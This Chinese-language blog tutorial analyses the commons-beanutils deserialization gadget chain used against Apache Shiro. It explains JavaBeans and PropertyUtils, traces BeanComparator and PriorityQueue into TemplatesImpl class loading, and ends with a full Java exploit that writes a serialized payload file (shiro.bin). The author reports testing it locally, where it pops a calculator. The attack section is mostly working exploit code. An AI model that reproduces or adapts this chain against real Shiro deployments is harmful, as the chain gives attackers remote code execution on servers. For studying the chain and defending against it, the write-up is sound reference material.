commons-beanutils简介
它也是Apache Commons项目的一个Java类库,提供了一组简单易用的API来操作Java对象和Bean属性。它的主要功能是将Java Bean的属性值与一组键值对(例如,从HTTP请求或表单参数中)相互转换。主要对javaBean功能的增强。它是shiro自带的依赖,此依赖也存在反序列化漏洞。
什么是javaBean
JavaBean是一种特定的Java类,它遵循一定的规范和格式,以便于被其他程序使用和操作。写一个javaBean格式的类吧,举个例子一看就懂,平常我们也经常写。
| package com.payload;
 public class Persion {
 private String name;
 private int age;
 
 public Persion(String name, int age){
 this.name = name;
 this.age = age;
 }
 
 public String getName(){
 return name;
 }
 
 public void setName(String name){
 this.name = name;
 }
 
 public int getAge(){
 return age;
 }
 
 public void setAge(){
 this.age = age;
 }
 }
 
 | 
javaBean类设置有构造函数,私有属性和公共getter/setter方法:JavaBean类通常会包含一些私有属性,而这些属性必须通过公共的getter和setter方法进行访问和修改。这是为了保证JavaBean类的封装性,同时也方便外部程序对JavaBean对象的属性进行操作。在commons-beanutils的java库中的PropertyUtils类能够动态调用getter/setter方法,获取属性值。
| package com.payload;
 import org.apache.commons.beanutils.PropertyUtils;
 
 
 public class Beantest {
 public static void main(String[] args) throws Exception{
 Persion persion = new Persion("xilitter",19);
 System.out.println(PropertyUtils.getProperty(persion,"name"));
 }
 }
 
 | 
看运行结果也确实能够获取到name属性。
 
漏洞原理剖析
从上面的例子能够知道,PropertyUtils类的getProperty函数能够动态调用javaBean的getter/setter方法,有点像动态代理的函数调用了。我们在此处下个断点跟进调试看一下。
 
跟到getProperty函数里面。
 
会调用到PropertyUtilsBean类的getProperty函数,继续跟进。
 
这里有几个分支判断,检查对象是否是一个Map,索引等,这里直接进入到最下面的else里,跟进。
 
跟进invokeMethod函数,
 
if条件判断后调用了invoke函数,这里的method是getName函数,它会调用Persion类的此方法。
 
而结果也正是如此。
 
从上面的分析上看,我们可以调用任意函数的任意方法,但是仅限于调用javaBean格式的方法,也就是get和set打头的方法。而在CC3链的动态加载类那块,是有符合javaBean格式的方法的,在TemplatesImpl类的getOutputProperties函数,
 
这函数里是调用了newTransformer方法的,而我们分析过CC3链就知道,它是动态加载恶意类的关键函数,这里可以利用PropertyUtils类的getProperty方法来获取TemplatesImpl类的OutputProperties属性从而调用这个getOutputProperties方法触发恶意类加载弹出计算器。编写程序:
| package shiro.demo;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import org.apache.commons.beanutils.BeanComparator;
 import org.apache.commons.beanutils.PropertyUtils;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.comparators.TransformingComparator;
 import org.apache.commons.collections.functors.ConstantTransformer;
 
 import java.io.*;
 import java.lang.reflect.Field;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.PriorityQueue;
 
 
 public class Beantest {
 public static void main(String[] args) throws Exception{
 TemplatesImpl templates = new TemplatesImpl();
 
 Class c = templates.getClass();
 Field name = c.getDeclaredField("_name");
 name.setAccessible(true);
 name.set(templates, "aaaa");
 Field bytecodes = c.getDeclaredField("_bytecodes");
 bytecodes.setAccessible(true);
 byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
 byte[][] codes = {code};
 bytecodes.set(templates, codes);
 Field tfactoryField = c.getDeclaredField("_tfactory");
 tfactoryField.setAccessible(true);
 tfactoryField.set(templates, new TransformerFactoryImpl());
 PropertyUtils.getProperty(templates,"outputProperties");
 }
 
 | 
这代码大部分都是CC3的内容,在这不细讲了。学习shiro这一块肯定是要先了解CC的,CC链是基础。运行代码看此思路走不走的通。
 
成功弹出计算器,没毛病。
构造链子
链子的后半段就用TemplatesImpl类的动态类加载了,然后就调用getProperty函数进而调用newTransformer触发了。查找用法,找找什么类的什么方法调用了getProperty方法。这里查找到BeanComparator类的compare方法,
 
在CC2链中PriorityQueue类的siftUpUsingComparator方法调用了compare方法。
 
comparator属性可控,可以调用任意类的compare方法,而PriorityQueue类也重写了readObject方法,可以作为入口类,(具体细节详见CC2链)那么整条链子就对接上了。大致链子流程为:
| PriorityQueue.readObject->siftUpUsingComparator->BeanComparator.compare->PropertyUtils.getProperty->TemplatesImpl.newTransformer->动态加载恶意类
 | 
问题分析与解决
事实上编写完初级版的EXP序列化都会出现报错的,放上初级EXP的关键代码:
| public class Beantest {public static void main(String[] args) throws Exception{
 TemplatesImpl templates = new TemplatesImpl();
 
 Class c = templates.getClass();
 Field name = c.getDeclaredField("_name");
 name.setAccessible(true);
 name.set(templates, "aaaa");
 Field bytecodes = c.getDeclaredField("_bytecodes");
 bytecodes.setAccessible(true);
 byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
 byte[][] codes = {code};
 bytecodes.set(templates, codes);
 Field tfactoryField = c.getDeclaredField("_tfactory");
 tfactoryField.setAccessible(true);
 tfactoryField.set(templates, new TransformerFactoryImpl());
 
 BeanComparator beanComparator = new BeanComparator("outputProperties",null);
 
 PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
 priorityQueue.add(templates);
 priorityQueue.add("2222");
 serialize(priorityQueue);
 }
 
 | 
看一下序列化的报错信息:
 
只看这条报错信息还是有点懵的,在add函数下个断点调试看一下。
 
第一个插入队列的是TemplatesImpl对象,没啥好跟的,看第二个add,
 
这里队列个数不是0,调用siftUp函数,跟进。
 
继续跟进这个函数里面,调用compare方法。
 
这里是要调getOutputProperties函数的,之后不再细跟了,直接到抛出异常那里。
 
这里调用2222的outputProperties属性发生异常。那么该怎么解决呢?引入CC依赖的TransformingComparator类,让PriorityQueue类的comparator属性赋值为它,不是默认shiro不带CC依赖的吗?这只是为了序列化不报错异常退出而已,后面再用反射改回来,实际上服务端执行的是序列化后的代码,而我们在序列化的时候就把comparator属性给改掉了,(反射的强大之处)为什么要引入TransformingComparator类,宏观上来看是为了不让第二个add发生报错。
 
该函数也重写了compare方法,这里将value1和value2作比较,而这两个值都是能直接可控的,主要还是为了不报错罢了,不清楚的小伙伴自己下断点跟一下就明白了。
完整版EXP:
| package shiro.demo;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import org.apache.commons.beanutils.BeanComparator;
 import org.apache.commons.beanutils.PropertyUtils;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.comparators.TransformingComparator;
 import org.apache.commons.collections.functors.ConstantTransformer;
 
 import java.io.*;
 import java.lang.reflect.Field;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.PriorityQueue;
 
 public class Beantest {
 public static void main(String[] args) throws Exception{
 TemplatesImpl templates = new TemplatesImpl();
 
 Class c = templates.getClass();
 Field name = c.getDeclaredField("_name");
 name.setAccessible(true);
 name.set(templates, "aaaa");
 Field bytecodes = c.getDeclaredField("_bytecodes");
 bytecodes.setAccessible(true);
 byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
 byte[][] codes = {code};
 bytecodes.set(templates, codes);
 Field tfactoryField = c.getDeclaredField("_tfactory");
 tfactoryField.setAccessible(true);
 tfactoryField.set(templates, new TransformerFactoryImpl());
 
 TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
 BeanComparator beanComparator = new BeanComparator("outputProperties",null);
 
 PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
 priorityQueue.add(templates);
 priorityQueue.add("2222");
 
 Class<PriorityQueue> cl = PriorityQueue.class;
 Field comparatorFiled = cl.getDeclaredField("comparator");
 comparatorFiled.setAccessible(true);
 comparatorFiled.set(priorityQueue,beanComparator);
 
 serialize(priorityQueue);
 }
 
 public static void serialize(Object object) throws IOException {
 FileOutputStream fileOutputStream = new FileOutputStream("shiro.bin");
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
 objectOutputStream.writeObject(object);
 System.out.println("1.序列化成功");
 }
 }
 
 | 
本地起环境打一下,看看效果。
 
弹出计算器,万岁。
结语
目前shiro专题就告一段落吧,shiro框架的其他版本后续再补,这次先放了。
反序列化之路任重而道远。